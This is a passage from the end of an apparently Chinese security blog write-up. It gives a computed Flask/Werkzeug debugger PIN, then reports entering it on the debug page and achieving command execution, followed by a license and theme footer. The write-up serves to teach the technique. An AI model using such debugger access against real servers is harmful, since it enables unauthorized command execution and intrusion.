 -   Debugger pin code: 169-851-075

尝试在 debug 页面输入一下

成功命令执行




博客内容遵循 [署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 协议](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.zh)
本站总访问量为 访客数为
本站使用 Volantis 作为主题